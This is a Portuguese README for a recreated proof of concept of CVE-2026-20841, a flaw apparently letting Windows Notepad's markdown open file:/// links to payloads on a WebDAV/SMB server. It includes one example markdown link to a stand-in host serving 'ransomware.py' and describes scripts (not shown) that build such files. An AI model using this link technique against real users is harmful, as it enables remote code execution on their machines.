PoC do CVE-2026-20841

PoC da vulnerabilidade "Windows Notepad RCE".

Avisos

1. NÃO fui eu quem descobriu essa vulnerabilidade. Créditos aos autores originais listados na página de divulgação oficial. Apenas recriei o PoC de acordo com a descrição.
2. Pessoalmente, não acho que essa vulnerabilidade seja tão grave quanto parece. É preciso mais de um clique para acioná-la, a menos que certos critérios sejam atendidos no sistema de destino. Consulte a seção Critérios e Limitações. Recriei este PoC porque é muito digno de memes. Um "RCE no Notepad" parece absurdo.

Descrição

A "vulnerabilidade" é simples. O mecanismo de markdown do Windows Notepad não se importa com protocolos de URL obscuros. Como analista de malware, li muitos relatórios sobre implantação de payloads baseados em WebDAV e SMB. A partir deste doc, pode-se abusar do protocolo file:/// e criar uma URL que aponta para um arquivo em um servidor WebDAV/SMB.

[BadLink](file:///\\webdav-payload-host@5005\DavWWWRoot\ransomware.py)

Uso

Criei dois scripts. Um em Node.js e o outro em Python. Ambos criam um arquivo markdown apontando para um payload WebDAV. Você pode usar os payloads de exemplo na pasta sample-payloads.